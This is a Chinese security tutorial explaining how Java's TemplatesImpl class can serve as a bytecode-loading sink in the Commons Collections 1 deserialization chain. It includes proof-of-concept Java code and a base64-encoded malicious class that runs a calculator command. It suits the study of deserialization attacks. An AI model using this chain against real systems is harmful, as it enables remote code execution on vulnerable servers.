文章总结: 文章详细介绍了如何利用TemplatesImpl类作为SINK点结合CC1反序列化利用链实现字节码加载和执行。文章解释了TemplatesImpl通过其内部类TransletClassLoader加载任意字节码的原理,并提供了完整的调用链分析和POC构造方法。作者还分享了绕过继承AbstractTranslet限制的技巧,使恶意类无需继承特定类即可被加载和实例化。文章最后展示了如何改造CC1利用链,将TemplatesImpl.newTransformer作为SINK点实现更强大的攻击效果。
综合评分: 94
文章分类: 漏洞分析,代码审计,WEB安全,二进制安全,安全工具
TemplatesImpl SINK 点结合 CC1 详解
原创
guchangan1
L0una
2025年11月17日 14:22
北京
前言
-
学完了 CC1 ,大家应该知道反序列化利用链的基本构造了,能够理解 gadget 由source、chain、sink 点组成,sink 点一般就是能够调用对象的任意方法,比如 CC1 调用的是 Runtime exec 方法去实现命令执行,但是,实战中仅能命令执行往往不能满足后利用的需求,比如注入内存马等操作,这样就需要能够进行代码执行,加载字节码。
-
那么此时就有这么一个类TemplatesImpl,其是可以实现加载字节码并且实例化类的。
3.学习前提
a. 学习或者回顾CC1,掌握 CC1 的知识点手搓Commons Collections1
b. 掌握 Java类加载机制
TransletClassLoader(TemplatesImpl.getOutputProperties)sink 点
TemplatesImep sink 点的核心就是可以加载恶意字节码并且实例化,因为该类中存在一个内部类TransletClassLoader,该类继承了ClassLoader并且重写了loadClass,我们可以通过这个类加载器进行加载字节码。而后调用getOutputProperties可以直接进行实例化。
注:Oracle JDK默认也用了Xalan,同时修改了原包名org.apache.xalan.xsltc.trax.TemplatesImpl为com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl,就是引用包名的时候有个区分。
-
• 调用链如下:
TemplatesImpl#getOutputProperties->TemplatesImpl#newTransformer->TemplatesImpl#getTransletInstance->TemplatesImpl#defineTransletClasses->TransletClassLoader#defineClass->加载任意字节码 -
• 为什么说是
TemplatesImplsink 点,平常不说TransletClassLoader?虽然是
TransletClassLoader进行字节码加载,但是是内部类,无法在外部进行调用;而TemplatesImpl直接调用了TransletClassLoader,所以统称为TemplatesImplsink 点
加载任意字节码原理
我们知道加载任意字节码就是 loadclass,defineClass,直接关键字找实际上就能轻松找到。
1、首先看到在
TemplatesImep#defineTransletClasses里使用TransletClassLoader.defineClass(_bytecodes)加载字节码,赋值给_class
-
• 注意两点
-
•
_bytecodes它的类型是byte[][], 注意创建的时候是二维数组别弄错了new byte[][]{bytes} -
•
_tfactory默认为null,null则报错,因为它是一个TransformerFactoryImpl类型的对象,需要是对应的TransformerFactoryImpl实例
2、Find Usages发现3个调用点
getTransletClasses()
getTransletIndex()
getTransletInstance()
其中getTransletClasses()、getTransletIndex()这俩只是使用类加载器做了类加载,没有进行实例化,最后并没有执行静态代码或构造函数
getTransletInstance中对已经加载的_class进行了实例化
注意两点
- • _name不能为空,反射改为任意值即可
- •
_class需要是null(默认为null,无需更改)
3、_transletIndex默认为-1,但为-1的话则无法进行实例化,抛出空指针异常。
我们可以观察到,当所加载的类继承至AbstractTranslet时,_transletIndex会发生改变
因此需要让所加载的类继承至AbstractTranslet,如此_transletIndex为0,在实例化时也会对对应的类进行实例化。
- 由于
getTransletInstance为private,直接调用还得用反射,也不利于 POC构造,找到了newTransformer,这里会进行调用。
当然了,getOutputProperties调用了newTransformer
,也是可以直接用的
这样就能很轻松的构造出 POC,因为变量都是 private,所以都要反射调用,才能修改值,当然了,这样写出来是为了方便初学者理解,实际上可以把反射修改值给抽象出来setFieldValue,换成三个形参即可
byte[] bytes = java.util.Base64.getDecoder().decode(calcBase64);
byte[][] bytes1 = {bytes};
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl templates = new com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl();
java.lang.reflect.Field field = templates.getClass().getDeclaredField("_bytecodes");
field.setAccessible(true);
System.out.println(bytes1);
field.set(templates,bytes1 );
field = templates.getClass().getDeclaredField("_name");
field.setAccessible(true);
field.set(templates, "xxxxx");
field = templates.getClass().getDeclaredField("_transletIndex");
field.setAccessible(true);
field.set(templates, 0);
field = templates.getClass().getDeclaredField("_tfactory");
field.setAccessible(true);
field.set(templates, new com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl());
templates.newTransformer();
同时在调试的时候发现一个小tips,可以直接反射修改_transletIndex为0,这样岂不是就不需要恶意类去继承AbstractTranslet。
但是注意此时就会进入 else,那么bytes就需要写两个字节类数组,第二个类随意写一个静态类,也就是classCount也就是生成类的数量需要大于1,如果是一个数组,那么下面这个for循环由于没有_auxClasses,就会报错。
这样的话你的恶意类继承不继承都能打。
byte[] code = java.util.Base64.getDecoder().decode(b64Str);
//javasist 编程,快速获取一个类,然后通过toBytecode获取字节码。 当然了,你这里直接写byte[] code2 = 字节码base64也是可以的。
ClassPool classPool = ClassPool.getDefault();
CtClass ctClass2 = classPool.getCtClass("com.ppp.test");
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] {code, ctClass2.toBytecode()});
setFieldValue(obj, "_name", "123123");
setFieldValue(obj, "_transletIndex", 0);
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
//调newTransformer
obj.newTransformer();
改造 CC1 实现字节码加载
sink点构造:TemplatesImpl.getOutputProperties -> RCE
通过 CC1 我们其实已知sink 点可以进行调用任意对象的任意方法了,那换成调用TemplatesImpl.getOutputProperties去加载字节码实例化即可实现漏洞利用最大化。
我们先用cc1的InvokerTransformer简单构造一个适配TemplatesImpl的代码执行的代码,依然是链式调用
Transformer[] transformers = new Transformer[]{
new ConstantTransformer( new TemplatesImpl(xxxx)),
new InvokerTransformer("newTransformer", null, null)
};
Transformer transformerChain = new ChainedTransformer(transformers);
transformerChain.tansform(1);
构造一个恶意类
yv66vgAAADQAOgoACQAhCQAiACMIACQKACUAJgoAJwAoCAApCgAnACoHACsHACwBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAGExldmlsL0V2aWxUZW1wbGF0ZXNJbXBsOwEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwAtAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAAY8aW5pdD4BAAMoKVYHAC4BAApTb3VyY2VGaWxlAQAWRXZpbFRlbXBsYXRlc0ltcGwuamF2YQwAHAAdBwAvDAAwADEBABNIZWxsbyBUZW1wbGF0ZXNJbXBsBwAyDAAzADQHADUMADYANwEAEm9wZW4gLWEgQ2FsY3VsYXRvcgwAOAA5AQAWZXZpbC9FdmlsVGVtcGxhdGVzSW1wbAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAgACQAAAAAAAwABAAoACwACAAwAAAA/AAAAAwAAAAGxAAAAAgANAAAABgABAAAACgAOAAAAIAADAAAAAQAPABAAAAAAAAEAEQASAAEAAAABABMAFAACABUAAAAEAAEAFgABAAoAFwACAAwAAABJAAAABAAAAAGxAAAAAgANAAAABgABAAAADAAOAAAAKgAEAAAAAQAPABAAAAAAAAEAEQASAAEAAAABABgAGQACAAAAAQAaABsAAwAVAAAABAABABYAAQAcAB0AAgAMAAAATAACAAEAAAAWKrcAAbIAAhIDtgAEuAAFEga2AAdXsQAAAAIADQAAABIABAAAAA8ABAAQAAwAEQAVABIADgAAAAwAAQAAABYADwAQAAAAFQAAAAQAAQAeAAEAHwAAAAIAIA==
chain、source
到了这一步了,实际上后面怎么做,就和 CC1 是一样的,都是去调用 transform
AnnotationInvocationHandler[Map(Proxy)].readObject ->Map(Proxy).entrySet()->AnnotationInvocationHandler[LazyMap].invoke->LazyMap[InvokerTransformer].get()->InvokerTransformer[TemplatesImpl.newTransformer].transform() -> RCE
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
//这一段就是基本的TemplatesImpl加载字节码
byte[] code = Base64.decodeBase64("yv66vgAAADQAOgoACQAhCQAiACMIACQKACUAJgoAJwAoCAApCgAnACoHACsHACwBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAGExldmlsL0V2aWxUZW1wbGF0ZXNJbXBsOwEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwAtAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAAY8aW5pdD4BAAMoKVYHAC4BAApTb3VyY2VGaWxlAQAWRXZpbFRlbXBsYXRlc0ltcGwuamF2YQwAHAAdBwAvDAAwADEBABNIZWxsbyBUZW1wbGF0ZXNJbXBsBwAyDAAzADQHADUMADYANwEAEm9wZW4gLWEgQ2FsY3VsYXRvcgwAOAA5AQAWZXZpbC9FdmlsVGVtcGxhdGVzSW1wbAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAgACQAAAAAAAwABAAoACwACAAwAAAA/AAAAAwAAAAGxAAAAAgANAAAABgABAAAACgAOAAAAIAADAAAAAQAPABAAAAAAAAEAEQASAAEAAAABABMAFAACABUAAAAEAAEAFgABAAoAFwACAAwAAABJAAAABAAAAAGxAAAAAgANAAAABgABAAAADAAOAAAAKgAEAAAAAQAPABAAAAAAAAEAEQASAAEAAAABABgAGQACAAAAAQAaABsAAwAVAAAABAABABYAAQAcAB0AAgAMAAAATAACAAEAAAAWKrcAAbIAAhIDtgAEuAAFEga2AAdXsQAAAAIADQAAABIABAAAAA8ABAAQAAwAEQAVABIADgAAAAwAAQAAABYADwAQAAAAFQAAAAQAAQAeAAEAHwAAAAIAIA==
");
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] {code});
setFieldValue(obj, "_name", "6666666");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
//obj.newTransformer()
//还是用cc1的InvokerTransformer,这一段意思就是执行obj.newTransformer
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(obj),
new InvokerTransformer("newTransformer", null, null)
};
Transformer transformerChain = new ChainedTransformer(transformers);
//transformerChain.transform(1);
Map innerMap = new HashMap();
innerMap.put("value", "xxxx");
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:L0una guchangan1《TemplatesImpl SINK 点结合 CC1 详解》